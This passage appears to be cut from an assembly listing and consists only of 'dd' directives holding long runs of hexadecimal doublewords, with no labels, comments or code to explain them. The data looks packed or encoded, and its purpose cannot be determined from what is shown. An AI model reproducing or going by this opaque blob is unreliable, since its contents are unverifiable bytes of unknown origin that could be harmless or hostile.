818C1300h, 0A2D71680h, 174B03CAh, 876E6DAh dd 0D6E743B8h, 1C964600h, 0E3698134h, 0C52101A2h, 259E2CE1h dd 0EDAC2477h, 6FB44800h, 22F213D4h, 50E93ADBh, 8B03713Bh dd 73CFABF9h, 3C8232B8h, 2EFEE50Eh, 7E4283F5h, 9721C704h dd 0FEC5CAAh, 0F4C509B5h, 2C807269h, 0F5E5F358h, 54DBCF00h dd 4EC8F83Bh, 7D3C0F59h, 0F2E0D372h, 6F0D8CC7h, 25905F73h dd 3E06EF38h, 2F2A0777h, 0A38104F7h, 0E5E093AAh, 79B089h dd 604E2DF9h, 0F87FB1F0h, 0B8BB7C1Fh, 2EF45800h, 45B903h dd 996E4382h, 253604E3h, 84A067E0h, 441FB675h, 61428A70h dd 405309ADh, 68239Eh, 0CDCE5940h, 0F3458266h, 98EC3E09h dd 0FFB000D3h, 761CFC38h, 7AB019h, 7ADB8109h, 15D1C4D0h dd 3072D200h, 5B6E42A2h, 0ACE84CDAh, 0DDF9D500h, 0CAE2938Ah dd 0A1C7691Fh, 3A00AC68h, 2C49D1F2h, 4D38DCh, 1F371199h dd 6E5A5D4Eh, 3E84F33Eh, 0F6D88E0Ah, 3B42A05Fh, 18BC152Eh dd 80728199h, 8D7E7E4Fh, 0B10025FEh, 33756601h, 24AB44h dd 453F991Ah, 0AFD9FE35h, 0D860A300h, 8C4C61EBh, 4FA19h dd 999A92C1h, 824209F1h, 0C9280600h, 0D3DBC2D5h, 329D1F3Bh dd 2ADC801Dh, 71F7AD05h, 6E8BE907h, 4250118Eh, 39ED6B5Ah dd 0A802FCDEh, 89EB4FD3h, 16C70C40h, 7F18E9E4h, 58306563h dd 0AFCA006Bh, 4D9A3381h, 0A4BAC118h, 103F0224h, 3FFD01Eh dd 4EC66AE7h, 9F728093h, 751B046Fh, 0C0F881D3h, 0ED4C894Ah dd 39B81900h, 0F2994A70h, 0E4C401A0h, 5B617EF5h, 0CB302037h dd 6665AA00h, 0A8625209h, 1C9A00ADh, 0B8EFDBDCh, 0EA0078B5h dd 0E3A30210h, 0DA3BC0h, 0ACFC153Dh, 4D113BEh, 8A364600h dd 0D565ABA3h, 0F801002Bh, 6D62AD03h, 1BF6F066h, 34A02D00h dd 0A9EF2191h, 701800AFh dd 89AD1D23h, 0EA775DA6h, 0B20EBD00h, 80083A57h, 0FD32984Fh dd 14C6670h, 2F7B51AEh, 0D8ACF32Ah, 3B00057Ah, 1BF961EFh dd 1F452E5Bh, 82F19A2Ch, 0B752F40h, 0AB014C60h, 0C605BE0Ch dd 0B1FEC066h, 85F10000h, 0ACCCF5B6h, 0D7AA6B1Dh, 40D2FC0h dd 0BCD422h, 91E0162Bh, 0DDCF29C5h, 3B093679h, 80DEE91Bh dd 0EF0E064Ch, 35BD00A6h, 0ECFBC6C2h, 0E90188Dh, 58A58726h dd 16F6AD87h, 238AFAD0h, 39D9003Ah, 0A3E0FB30h, 0D31F730Ch dd 7EEE1BC8h, 0C05BE325h, 281C164Bh, 0E88F52h, 740B3403h dd 14B7DE35h, 1856AD03h, 90B90999h, 374008h, 5BE339FCh dd 492E95Dh, 74426B00h, 0ABD6DAE2h, 19400B7h, 0D7862CA3h dd 7200C00Ch, 0AE0757E8h, 0C82021h, 0A32622C3h, 33D51550h dd 9F04AD0Fh, 0CBF28055h, 94D421C1h, 6399000Ch, 0C4964D2h dd 55A88B07h, 9150E576h, 72D0E8B9h, 71E4160Fh, 0D79000D3h dd 0DEDF2EC5h, 25090D00h, 0CA5810D8h, 6C063F15h, 2E52B07Ch dd 173ABD08h, 9CFB1056h, 34BEC280h, 7603EDC0h, 0BB7D6DC9h dd 0EAE8C079h, 2C4C0371h, 3686949Ch, 30A08B98h, 0F5DCF801h dd 204C4A6h, 0FBD824h, 6BEFE88Ah, 327D5367h, 77861201h dd 0D698297Ch, 4865D7C0h, 387C70DDh, 48276B9Dh, 0C22ADC01h dd 200644Fh, 0FF0698E6h, 0C0C6A305h, 6012039h, 78F8CC09h dd 38A8007Ch, 39FBD203h, 4D80804Ch, 162818Eh, 9600915Bh dd 87F52F9Fh, 3DA68CABh, 55BBC4BAh, 9816E880h, 8628CA97h dd 2CC9C600h, 8F8C9C71h, 49F90081h, 0D5C1CF4Dh, 52F80105h dd 8324EA3Ah, 86223004h, 838AC03Bh, 351A00E8h, 0FDDEEBA4h dd 2059E62h, 95D2AFF8h, 9F00FC0h, 0CEEA005Ch, 8881900Bh dd 49584D71h, 9AE900E6h, 0DF23B084h, 51AA03A0h, 0B9D50C43h dd 67C89FB3h, 4B006AEDh, 0DA72FBFFh, 98A6191h, 0ACFE8E47h dd 0A0E9C287h, 350842F8h, 883A8C00h, 0F569EB2Ah, 6B3F00B1h dd 0E023D8C3h, 3C000A18h, 0F4C25C1Dh, 908917E1h, 6FB00076h dd 84D6C99Fh, 0A2005B39h, 0B1CF0B74h, 0C77C728h, 9BA18FCDh dd 0FF2E8240h, 95033D54h, 9649E478h, 3B6E1F7Ah, 0F1D580C7h dd 0D829CCA3h, 3CFA803Ch, 0BB0B806Ch, 42B0F302h, 78351E7Ch dd 0FABE0008h, 0A0611879h, 0DC8E1503h, 0A033F80Dh, 20D839h dd 0F1A7BEE3h, 2843BB12h, 2F785400h, 294B0387h, 79E176A9h dd 80C40CCBh, 0B2F26B23h, 90046B0h, 7175DAD0h, 7913CEA4h dd 0F42A78A1h, 933F4CF6h, 0DC159500h, 0FA36F93h, 50C7A700h dd 0F463116Ch, 1BEEA8h, 3F0E50Ah, 15BEA9D9h, 92DCB603h dd 0F86DC595h, 75CE29h, 721846F3h, 8D11AB7Fh, 7AB3C805h dd 8400FDFCh, 790295ACh, 605F3E6Bh, 9A6D9386h, 7100E2CEh dd 90A2BD76h, 0E0A5CCh, 4AA0ED7h, 5A51A02Ah, 0AE71C203h dd 0C8E91D7Dh, 2CD387EEh, 0CFC594h, 78B89A88h, 0AF000BEFh dd 7663D1F7h, 298792h, 43ABF1D6h, 39B46E04h, 5F27F800h dd 0CE57B84Fh, 0C11A00ECh, 0B971D7D1h, 6802AADCh, 0B81D5FD3h dd 809C895Bh, 475D48F8h, 94C001F7h, 7233E98Eh, 5652CC0Fh dd 2C3DF201h, 7764DB9Dh, 535A841h, 48E40161h, 9BE0032h dd 81EAB930h, 8E1EB479h, 9DDCFFCBh, 183E77C0h, 8DF82Ch dd 18BB7ACh, 0F38CE36Ah, 41B6E003h, 0F83E8097h, 30479864h dd 90D02BB8h, 2203B150h, 5EA973DEh, 2A698848h, 0F6390086h dd 67339EE5h, 8013028h, 0BF8EB36Fh, 0A9EC643Dh, 0B27E7Bh dd 0FF8D40E0h, 0D68FABEDh, 3D162C0Eh, 0D009B388h, 739400F3h dd 1E55E9C2h, 66B401h, 0AC58FB89h, 7D00CED3h, 6751470Bh dd 3DA3EFCh, 25E04C7Ah, 17E00AF1h, 14005C6Ch, 5A0281AEh dd 0FEB2FA1Eh, 0DCCE0077h, 0D5F9A455h, 62038AE3h, 0D9E486B7h dd 68800015h, 145DAD25h, 651F352Ah, 23801109h, 0CAFF1F4Fh dd 12952401h, 73A50094h, 3C402FBBh, 2A500500h, 69C811Ah dd 0B3313A11h, 0A18068BCh, 0BD5D28E4h, 5C0095E7h, 0AFF77A7Ch dd 17328185h, 14D23158h, 4976CC5Eh, 3400C8F5h, 57E9ED51h dd 7A09B1D0h, 0EE3B18h, 73A60779h, 6438039Dh, 0D232A062h dd 8BC04DB8h, 0ECB55700h, 557DF151h, 0E2A70095h, 5ADE3D52h dd 0FD2859B9h, 32009C7Ch, 0F034C630h, 0BBF541h, 0C209BC22h dd 0C8B3AE1Fh, 3518A600h, 0A87AF75h, 0F47C00EFh, 4E38FE06h dd 24007BDFh, 277EFD39h, 70CD1830h, 78F60307h, 0BA97A1EDh dd 8D388790h, 8ECC4024h, 0F00ACF00h, 26683981h, 48DB15h dd 0B29F277Bh, 18007D9Bh, 6560088Eh, 3D9692h, 73C30CFCh dd 15724833h, 712B2701h, 3A44E6A9h, 3FF2ADE0h, 0E4818892h dd 0CF2062A7h, 0F84C2107h, 7300101Eh, 185EF6A8h, 0EBE04113h dd 0C168ECh, 0B3AC4309h, 0E97CD236h, 6895D0Fh, 0D8B7607Bh dd 0E52DDDh, 85F6B933h, 0E08C459Ch, 610CF800h, 3270361Fh dd 7F7F065h, 9AFEDB21h, 0D0505068h, 373BAB0Dh, 91190030h dd 1A0A9241h, 2BB21D2Fh, 6F4D8080h, 0AA752046h, 2C77741Eh dd 4C780640h, 1F82595h, 6479FB35h, 43287F2Eh, 0BA823F9h dd 0EF02ABB4h, 0D3D25D3Bh, 53C88064h, 3ABF88h, 0D96CC52h dd 839467B9h, 8A2AD93Ch, 0E4AE1B87h, 291E5400h, 3248C53h dd 1DCF76BAh, 5EC86911h, 2A00C396h, 8707BDC9h, 543EF7h dd 8DD9CA98h, 0B45A23A7h, 0F1249090h, 0FE008474h, 3B8CD7E3h dd 82150016h, 0E9DCEBE6h, 171D053Eh, 0E3406498h, 0C0B2D6BFh dd 3A798E1h, 9BEECA36h, 0F380FFF5h, 7C09D348h, 1259ED0h dd 6113320Ah, 0FA54BEF0h, 14CF005Bh, 9AE2F3Fh, 0A003A7Ah dd 0E528C549h, 40716E7h, 0B8AC7988h, 2F1C9039h, 1301043Dh dd 105B2D8Dh, 5DC07E74h, 976F3B4Fh, 39C21989h, 5089CC07h dd 265FF276h, 32EA10C0h, 812351h, 0A14E588Dh, 629C342Ah dd 0F970E930h, 10144Ch, 68FB1F7Bh, 5D24401Eh, 0A62F711Ch dd 1C7DA7C1h, 96C02E65h, 0A8EF09CDh, 3880756Dh, 0A69A393h dd 0F5EAAF00h, 0EBA9F32Bh, 82B8004Bh, 0BC277FD4h, 4A7F81F1h dd 3463F03h, 0F0EEA63Ch, 1C051BFh, 9FBBD8DDh, 0E41399ABh dd 0ACE49A61h, 57E06E00h, 0C02EFEDh, 7D940CE1h, 0E911D3FEh dd 9797C00h, 7F4D5195h, 0FDE20086h, 7326AF58h, 34A03834h dd 0D2003BBDh, 0C45F6D66h, 1DFFAF8Fh, 1FEC768Bh, 1129EA6h dd 6BF4C083h, 57BDE443h, 0A29C1700h, 1B0365C1h, 442F0080h dd 5C5696D5h, 7D0085F3h, 6F83D706h, 971A7Bh, 0FEE864A8h dd 0F5E4B62Fh, 0E96B9A00h, 28D77C03h, 59FD00DAh, 0C5CF44B1h dd 0AA0F823Dh, 6014D53Fh, 47101D21h, 0C24D025Bh, 0A185F070h dd 55ABFE0h, 46272801h, 0AD1CCD37h, 403470h, 0B264BCD7h dd 0CC44C21h, 44E2940Fh, 0C34B2E19h, 0F81D27B1h, 9A46D2h dd 0BF6482CFh, 556F98B5h, 8C0A4F00h, 0DBC4B407h, 606A01C2h dd 0FA2C5727h, 2271A7h, 43E74190h, 9FA65200h, 83F4D907h dd 803A077Bh, 5F7E4BF6h, 0FA2B81E0h, 3700F095h, 0FC3521E7h dd 0CF29AFh, 54AD06ABh, 52F3AE18h, 0EA974600h, 0C558C4Dh dd 0C83E0208h, 1BCBF1F9h, 0EDA828C3h, 68014D36h, 5FA4B027h dd 90FB4A77h, 9F7B827Ch, 6011958h, 0E620FF2Eh, 4D9EC53h dd 39ED20h, 8EE03663h, 5198836Bh, 0FCF1A203h, 0C8B83F2Eh dd 50A721E9h, 3FEDEC71h, 5480A07Eh, 7D4CC0Eh, 0E7000248h dd 0BB991B37h, 3BB8C6h, 901772C2h, 0FDDEC4D8h, 11711F31h dd 0ECE8E65Dh, 0ACED00F5h dd 0E4C01D4Dh, 7100A3A5h, 0DD46F866h, 0D6A4972Bh, 4D230370h dd 0A3C01AE7h, 5C37FC49h, 0EE7288F8h, 15148041h, 3ACF4DB0h dd 9331A02Eh, 8AE7EDDAh, 14919A59h, 983AA811h, 0BE4F5B0Fh dd 3830E106h, 74A057F6h, 94009FB7h, 0E73827F1h, 16ADC7h dd 83ABD7E6h, 0F65D1730h, 77B22900h, 0A21E4B79h, 7E6718CBh dd 9DEB39E6h, 60FC1D14h, 80783F58h, 7302197h, 0E888101Ah dd 3922281Fh, 0E9460154h, 0BDE46E5Bh, 6551DCBAh, 0A11ED03h dd 0E03A9D94h, 1FBCC9Bh, 55D01D78h, 6F66F4FAh, 7312E0h dd 9ADE3B43h, 1F0AAB80h, 0D00607Ch, 0F2D3C5B4h, 2B812C9h dd 8A3172F3h, 0C980C3F9h, 0D3F8CACh, 445BAF00h, 1E3AABF8h dd 5F9054h, 0E74F8458h, 25231629h, 0C35CB300h, 0FA610E4Ah dd 316E195Ah, 20C21E4Dh, 750985C5h, 0D74A59D5h, 38951500h dd 0CDF42051h, 8B72FB0Fh, 0B39240BEh, 7208AC3Bh, 4B32002Fh dd 0BAD25F05h, 0E101FEDFh, 0CF2D4B9h, 9C50ECFBh, 2BBB91h dd 16C63D66h, 1FA86C5Bh, 0B7EE8100h, 82F11DB2h, 70D803C9h dd 6C6D9E43h, 752A3800h, 573C45D0h, 167C21h, 0F017BD82h dd 0DC3A785Fh, 69024C1Ch, 0A399E987h, 73C5A225h, 2E741407h dd 0A0042179h, 0D050E0D5h, 1B0E7E4h, 24DB17E1h, 0C4CA2F0Ch dd 9400AC8Bh, 0D0DFEE82h, 76D5F16Fh, 96000EDh, 0EF0499C9h dd 0C475221Eh, 8979F904h, 4894B046h, 40CF2AC2h, 4B540Ch dd 82E0B306h, 301AEB9Dh, 8633AD3Fh, 95B58E09h, 0D4840091h dd 0AB869CE5h, 3C2469A0h, 0F9008CC9h, 0AA13C4FFh, 3DE98EEh dd 310F7787h, 0C8C8F156h, 0E47F6F20h, 0E5A92700h, 26A3097Ah dd 51DC00B8h, 22EFBAC9h, 0FA00E03Bh, 0B3E65577h, 0F6BD418h dd 0BB3CC6EAh, 7CD15107h, 0F100C908h, 6B74E83Dh, 368A4E0h dd 0AF3971F8h, 5E048A3h, 0D2002F5Ch, 0D67703FBh, 0F2727B44h dd 0A8BA06C8h, 48EE2092h, 4FA7DC07h, 59CC4E3Eh, 250E003Dh dd 3507A647h, 5800FA93h, 5AA4F2FDh, 0C1D4EC0Fh, 987D7F29h dd 0D8F0F3F1h, 0CA00C394h, 4AB844A8h, 2FA5D15h, 0C76692CDh dd 0CC40FD59h, 0D030875Ch, 889741E9h, 8D40021h, 1D761514h dd 6200E090h, 0CCBDCEBBh, 60C5E683h, 89A299C6h, 0F81531A1h dd 0B98EFB1h, 670E78h, 467B2BBCh, 483D260Bh, 6C0039A6h dd 0CD6A74A9h, 0BE3DDE51h, 4A1687DCh, 8B60FDC6h, 0F3F99BBDh dd 98AE8C43h, 600CDE8Eh, 93B35819h, 0A51E318Bh, 69DD866Ah dd 5CEB6301h, 9448ECC8h, 103831D1h, 8093A931h, 0E329FD19h dd 7CE842Dh, 803032FFh, 9D535033h, 0A0C2BF9h, 393F10EAh dd 0EF6F0088h, 0DC7FF080h, 0BB0CE6AAh, 21EB1101h, 874B001Dh dd 0A3D1F2C2h, 16005ABFh, 0E4346E52h, 0D095E0h, 70E7A32h dd 2C5D9F4Bh, 8B863Ch, 62DAE613h, 0F47D8E77h, 0BBCE1C21h dd 0C406C06Eh, 0FCDD8D12h, 7C03B4F2h, 886227FDh, 0B90A91D8h dd 1D0C7DC0h, 17EC1D0h, 95EC19B1h, 0A55730CCh, 5AC0D100h dd 0C4C1D74Ah, 42B7031Ch, 9F400A0Fh, 0C50699C8h, 0FDE309DFh dd 0E4EB8EC0h, 0E87B8FDDh, 0F8E01924h, 0A4C00F26h, 67E08CBCh dd 7DEEFA04h, 31CFD50Fh, 853C40D2h, 302DDDE3h, 9B29A6B7h dd 7380FBB9h, 86D888C9h, 88A5F688h, 3C88B8CFh, 0EE33415Dh dd 889B6710h, 79C20383h, 0E32398Ah, 0EC111414h, 3C17289Eh dd 42C68822h, 7CC8110Ch, 31288B28h, 2829CC70h, 5B571088h dd 413F81BFh, 883E8328h, 8C87B479h, 0F3296FE1h, 24ADC9C7h dd 3F2F7DF0h, 0CCA003Dh, 0F596B1FAh, 0E8000B30h, 29435AF9h dd 28F7B818h, 0A4DD3Eh, 212ABAC3h, 8C0B9C80h, 3082054Ch dd 0F2EE0691h, 0A4D7000Dh, 0B4F12DC1h, 0CC00C7E4h, 0B357BD2Fh dd 0B85F2Eh, 9D8CE514h, 1F84CA7Fh, 6C9CDE0Eh, 0CDD4406Ah dd 0E125BA1h, 4FD715E2h, 0C702007Dh, 68B83BEDh, 0F0DA7800h dd 8730E629h, 0EBE081h, 2FBCB44h, 2BDCF37Eh, 46237D03h dd 0D0BCE539h, 1D6A1404h, 31FB1Dh, 197D4083h, 4202A86Dh dd 3E325C81h, 0D32440DEh, 38110055h, 0D468FEAh, 0C500A424h dd 0EDC6C321h, 0B8A89F63h, 0CB42039Ah, 7F1CBC99h, 8271A1A8h dd 1D377700h, 498A911Bh, 4C5548A6h, 90027200h, 43274AC6h dd 702A410Fh, 0D481C08Fh, 4BCB84h, 19C19CCh, 2608BED1h dd 4800C77Ah, 95A84C11h, 5A6210h, 54FAED46h, 0C20C48Ah dd 80F5CF3Fh, 8EC8E983h, 0FAA16ADAh, 783F3D75h, 0F3CB5E87h dd 0FEDC4056h, 0BE7FC7A7h, 0F1F058h, 2ACA0CABh, 39D526h dd 77B587A3h, 53A5B91Bh, 474B7B1Fh, 0E0F48ACEh, 0B620B4D2h dd 1A737Fh, 16507037h, 0CF77FD86h, 0AC1DD100h, 0EB568E13h dd 0DFFE36h, 47580A53h, 0F17220ECh, 4ED7C900h, 0DC33465Fh dd 94280307h, 0E47FFA70h, 9AE26998h, 0F7E1E81Fh, 59156043h dd 1BC0B8B7h, 0A8EC88h, 69683C9Ch, 0A1917FB0h, 34C8CD00h dd 81D927F7h, 6BF10048h, 1E301709h, 0F9058C39h, 0C6046583h dd 0A09FD80Fh, 3CAC1881h, 0B438001Dh, 6F6CF0D9h, 5DB01B2Ah dd 0F85D2700h, 24C9937Dh, 63C10791h, 0F01930C6h, 7E350C1Ah dd 0A13AFE0Fh, 0EA784050h, 7144FEFh, 56236B33h, 45380A0h dd 83003CDEh, 0A241B582h, 0C7D975h, 692B60C4h, 7D68EAAEh dd 0B500ED71h, 9E6F64F8h, 0E7C339h, 63F3431Eh, 8D96A2D3h dd 16135900h, 9F9022B2h, 0D5FB013Dh, 473AD0F1h, 45A4F889h dd 2B1E0103h, 0A3E0923Bh, 12C08FE3h, 50F846h, 7E96C8Eh dd 0F6AB6362h, 0E842CF2Ch, 4E83AC00h, 4B8CC3h, 0F80B5B0Fh dd 0EF561AFEh, 0E31EE09Fh, 2EA6015Ch, 38669724h, 44C7F06Fh dd 5972901Ch, 9106BB00h, 4CFA41h, 0C008FF73h, 0F9ED774Eh dd 0B5074B00h, 2506D523h, 340A00F2h, 9247B461h, 0CE3D4D4Eh dd 598B87EAh, 0DCB01889h, 1899F8F4h, 822A2743h, 0E8028F41h dd 69AE5D06h, 570880B2h, 0EA0F3A8h, 280C4BD4h, 0DA8E0072h dd 0D9E8D294h, 95C348h, 8D58DC2Ch, 0C456B4h, 4D42DF7h dd 0BAE9141Bh, 8054C7Dh, 0ADA6DBC6h, 0ACE6E400h, 0F5351Ah dd 174CF009h, 97B6B458h, 1C004E71h, 5B2F7A2Ah, 0F8D85DA7h dd 0B3C714D3h, 0EC1DEC7Bh, 0D2FB80E6h, 3022ACC4h, 20004C76h dd 63E748F2h, 71FE78h, 0A8EE943Ah, 9BDA887Ah, 0D9C95B00h dd 0D5248B53h, 67EB1F2Bh, 10C265Dh, 7B0EEF3Dh, 0D30DEC50h dd 1BB8291Fh, 2F6B007Dh, 0F44D1307h, 0C47F6FBh, 0CC901778h dd 0C7163072h, 7A0E03C1h, 97B74080h, 412B08h, 9FF28BF4h dd 50662E69h, 3A449203h, 0D03853CCh, 5021B86Dh, 8FCF55h dd 0AA8BE042h, 15B3FCEBh, 1310EC00h, 463215Fh, 18D43D67h dd 6D76AD80h, 16D67932h, 34131700h, 5D23AB6Bh, 0A63902E0h dd 2645080Ah, 2440882h, 0B5B64BC0h, 88BAB213h, 0E029C80Fh dd 0C4810663h, 579C0083h, 0E7A16EACh, 0AD1D60F9h, 0A303F2ABh dd 0B80DC29Dh, 1E1C56BBh, 0C45DFAEEh, 0C07C9990h, 3549D646h dd 3316E401h, 54C312D0h, 24E22F4h, 696CC5BFh, 1F40DE37h dd 9400C83Ah, 0E3091027h, 1D79407Ch, 80ADD21Bh, 0BD73BCDDh dd 0E8008B0Eh, 4FBBDFA0h, 3209B7h, 0C279F2CFh, 0BE9ADAFEh dd 6A86FC00h, 0E5CD2C25h, 741200A1h, 1DD08D5Eh, 0CBF272C2h dd 4B42CA00h, 46ECE570h, 0AF400001h, 0E083A958h, 0B400C22Eh dd 0FF501BBEh, 0F65F3Fh, 0E4CCB89Fh, 0BF3DECB9h, 802C2F3Ah dd 0F08A40EEh, 61CFF8h, 8C77908Dh, 62F5DA86h, 58475F1Dh dd 5E4F4C0h, 6803CBh dd 6D256E34h, 0E19A38ABh, 8026223Dh, 0A156A94Bh, 72F9151Eh dd 0C96E038Eh, 27200AAAh, 4DF43180h, 97640C07h, 9010A245h dd 605BB649h, 3BBF085h, 0AF007CE1h, 412289C8h, 10CE8Ch dd 0BC38AAA6h, 0A1DF2B40h, 77EF7C01h, 29E22013h, 0FAB41081h dd 20217DD0h, 0D90039A0h, 0FF5A1E0Fh, 8B8AAh, 0AD372266h dd 4CB7326Ch, 750016FEh, 18F5A982h, 0F47B1AE4h, 0FAD1000Eh dd 2F1B98C9h, 0CB0052B3h, 0EBC2D242h, 197BC4Fh, 19EC9F5Ah dd 60538C24h, 0DBEE4725h, 990D0E00h, 96AE1617h, 0F27A00ACh dd 123CECA0h, 0B01737BFh, 801C0F4Dh, 3B3E39h, 17C8E8B2h dd 0F07CB624h, 0A1B40094h, 0A8638AF2h, 18C1A68Bh, 0E64AECC0h dd 0DA24D0h, 17AB2F74h, 0D73FFE18h, 4057ED00h, 0B0E82533h dd 86DD035Ch, 54CA6EE7h, 5D852ED8h, 7E480860h, 3CDA8h dd 1F9B1AF4h, 4DFACBE0h, 3FF3DC07h, 0E3A012B8h, 92EC51h dd 702DCF42h, 5D64E236h, 90D0F203h, 0DF9ECCA7h, 377FF5D0h dd 7CA90F56h, 1C8FB5h, 441614ECh, 0B900FEDFh, 0DED6E6CFh dd 7A65661h, 3FFCB712h, 62D41046h, 0BA053EF5h, 1C451D75h dd 6C77B180h, 0F9F1013Ch, 43A31668h, 0CB76C00Bh, 9E42C900h dd 0C6F4A238h, 0F9AE007Bh, 0E1448ABh, 94B0554Ah, 7074111Fh dd 0CDE10A80h, 0B772F3h, 445B130h, 0A30594BEh, 0A6BCD801h dd 0A02C47AEh, 0E62BE540h, 1ACC281Eh, 0D4B238CFh, 0C6050370h dd 4A89464Dh, 80076BD0h, 8E843200h, 297BE8D8h, 9CEA019Dh dd 0D4111FA3h, 69084057h, 3A001E47h, 983907E0h, 4409B1h dd 0F6895E67h, 8BC120FEh, 7A016E00h, 586CA846h, 74B400D5h dd 29627CAAh, 0A3797D02h, 68F79D00h, 5F6314DDh, 0B2D8005Eh dd 0CDCBBF5h, 3A00A1D4h, 59B80D6Eh, 35DC1A7h, 8F10F024h dd 0BFC871E4h, 90009682h, 9DC9F22Dh, 9233F4h, 42AD0281h dd 437945F9h, 0DEFE4F0Eh, 0B6DE77Dh, 0A7EC9850h, 0A9A3007Ah dd 0C229928Dh, 5100EE40h, 5F9B20F5h, 1F7CAB38h, 83454864h dd 885B05C1h, 788AF088h, 0EC1AA300h, 0CB362749h, 52143026h dd 0D7F09ED8h, 81E08A2Eh, 689BBC00h, 484D2BF9h, 0C4494C6Bh dd 6199DE00h, 902A5BD9h, 0DD27681Eh, 0CE380039h, 0DAC833BCh dd 5A161DF3h, 0E4DC4078h, 0B0F16514h, 5E624900h, 679E8061h dd 7F5300BDh, 9B521D50h, 9C00F4ECh, 0A3EEE133h, 0B02D31h dd 0FC51ACFAh, 9BA94532h, 747458h, 0DD17427Ch, 0A38B35h dd 0E0B3EB8h, 1AD12AF6h, 400D6EEh, 4C8D16F4h, 7E45E1Dh dd 0EA0B87B2h, 0F6F7700Ah, 92011E7Dh, 4ACE15E5h, 0EDEC952Bh dd 0CCE950F1h, 8D761807h, 0B3C9184Dh, 8E5FD600h, 4E741F79h dd 686848DCh, 9CA19B00h, 2D1E191Dh, 0DC2C9328h, 4267C912h dd 8EC5400h, 0F6743EF3h, 0B08E7596h, 0A97D006Ch, 0E3F8CB87h dd 161DC3E4h, 0EC3695Bh, 0A01E2A19h, 20C5E02h, 0DBDF82AAh dd 4440EE16h, 0CF0F8569h, 8F42D801h, 0ECCC16Ch, 0DC47417Ch dd 0E4E1A3A0h, 83F93BECh, 886D1180h, 0D66F231Fh, 3A16A003h dd 0B0B4D3D1h, 374689h, 1C03013Dh, 579D098Eh, 0B6D9D600h dd 0F743B148h, 8FF200F4h, 672FACF3h, 301ED8E1h, 0AEFC75h dd 80AE117Dh, 11A4E419h, 0BB3D0083h, 26D6503Eh, 3C00499Bh dd 0EF578108h, 124ACAh, 939888E0h, 41B7ED7Ch, 0D7D2BF00h dd 53789991h, 621D396Fh, 19640580h, 26D98758h, 9FD55100h dd 0F3F6A565h, 37FE0054h, 67E514AEh, 1138D3D9h, 0AFDE80ECh dd 25DC2712h, 4ABC015Dh, 0F8E28C30h, 0E4B8404Dh, 6200801Ch dd 1181ABFCh, 1277A86Ah, 7EC40BAh, 908FC7B0h, 5166E054h dd 0D363810Bh, 24AC0025h, 0A0CB31D0h, 0CAECECh, 0BD3E1E49h dd 5841C49Dh, 0F9A9E900h, 0F34CB1Dh, 0D6B11D62h, 9D89801Ch dd 0AF4D7BECh, 4E23CD00h, 0E18FCA2Eh, 0A800A46h, 38D08EEAh dd 7580A53Ah, 43B70D30h, 9500A6C6h, 88E3323Bh, 0A906BDh dd 9A98F902h, 0EB97C892h, 0ED1FF51Dh, 11CDC7CCh, 59170149h dd 0E2E59A79h, 0C9D040B9h, 0F08CD5F9h, 688B487Eh, 68649500h dd 9FEDE349h, 0C7868E05h, 1C94412Ah, 5FF09F80h, 0A9B00E64h dd 5680D17Ah, 0F9A85587h, 0EC0E3Fh, 0E5641314h, 38A4393Eh dd 0AB072BB6h, 0F08909A5h, 73CD8D0Dh, 0F46A4800h, 6CAACC5h dd 0FFBD00D5h, 0D039CB96h, 4D00E622h, 0ACBB3E86h, 300E60DAh dd 0BE487A8Eh, 3600F40Fh, 0CF277C97h, 4A427Bh, 39715753h dd 762F64D3h, 0E9BE8A00h, 0BCC13594h, 6C0B00FFh, 0C3599252h dd 0C400D4DEh, 0B90F294Fh, 0CBC15Ch, 72426BDDh, 0FBCA6306h dd 9445B800h, 0C861074Ah, 0E7AA00E5h, 646E7E47h, 4E162855h dd 0EF0568ADh, 800E477h, 373C63AAh, 13EE0798h, 0C0B7AFD1h dd 17121FE5h, 0EE8CF00h, 0C304EA90h, 7210024h, 0A7614ABh dd 800047E0h, 9F209C89h, 3EB5115h, 16E2A866h, 5BE8391Eh dd 0BB002153h, 4AB53593h, 13D27049h, 26029FEh, 0C2B379B1h dd 8908D3C0h, 7A100B00h, 0F38785DFh, 5D7315CAh, 8110B868h dd 93F78F07h, 80C0EF0Fh, 33748832h, 62170014h, 6E1E4373h dd 0F800651Dh, 5D0EBEEDh, 0C2F9D9h, 75A54B05h, 2801D491h dd 0FDF59803h, 0C8721A32h, 3ED81Dh, 53C8DEB9h, 0E2CBDA84h dd 94173700h, 6D417908h, 990A5CC0h, 54878A07h, 64FD6045h dd 0CD03E5A7h, 34C35CD5h, 9A100063h, 0B9729574h, 0BA01DB1Ah dd 839993CCh, 7AE5F343h, 39E46BF5h, 187F14h, 96736EAAh dd 7949FF2Dh, 7790AF0Fh, 116A80DFh, 0B94B41h, 4035271Bh dd 6778842Dh, 0A688F907h, 9EB004BAh, 3FD60BFh, 0F809E2C6h dd 6AA3DC22h, 0CD5C8780h, 31007CF0h, 917A1C13h, 3CD6A294h dd 14804B4Dh, 0F5368927h, 680F6562h, 40927A6Bh, 7BF12D0Ah dd 0F0820039h, 5FEA9C23h, 0FA00989Fh, 0FE3F09ADh, 9843F3B1h dd 78AE000Eh, 33AF4845h, 0B7E06B4Eh, 0A2755B00h, 97D5966Dh dd 0F1F71C26h, 54C001ACh, 818025ABh, 433E968h, 4BF8B5DBh dd 871A396Dh, 0C04E961Fh, 0A92D0B79h, 4100507Bh, 0CF10B76Bh dd 18B8EB0h, 24C61BD8h, 85C3EE0Bh, 0ADFCDF70h, 806F8100h dd 0CD273Bh, 63FA9B1h, 3E93730Eh, 0A5978200h, 0B8AE558Bh dd 91E60061h, 4DE28692h, 1E00BF6Dh, 2CA4A16Ch, 0F2FF81h dd 0B70942BDh, 264DF0E7h, 294B9100h, 0CD6841E8h, 3E511D6Ah dd 3FAF007Eh, 1C27608Ah, 49009D75h, 432295BFh, 20DA67Dh dd 6770EDC3h, 63C11F05h, 0D3B080B7h, 538D5DDAh, 9DE7E4Dh dd 8A5BCCD0h, 0E6108E00h, 0E20316CAh, 452CBB79h, 0C486809Eh dd 52A4001Fh, 14389572h, 9407C5C3h, 22BE7F8h, 35D29B20h dd 0C206181Bh, 5E3351ECh, 8CA93F0Bh, 0E6CE0362h, 89F1D84Eh dd 3C540057h, 4F7AF672h, 6E01FF08h, 0E77745E5h, 36C00D35h dd 330E1EFCh, 9C2D80A7h, 2BAA4BF5h, 0F4710B28h, 0D6602C00h dd 1EAE6E03h, 88BB4987h, 53B6940Bh, 5D8C9A80h, 570F0423h dd 0E31FA048h, 0E3E77F3Fh, 0A80F0060h, 40B5922Eh, 5E3A5CF2h dd 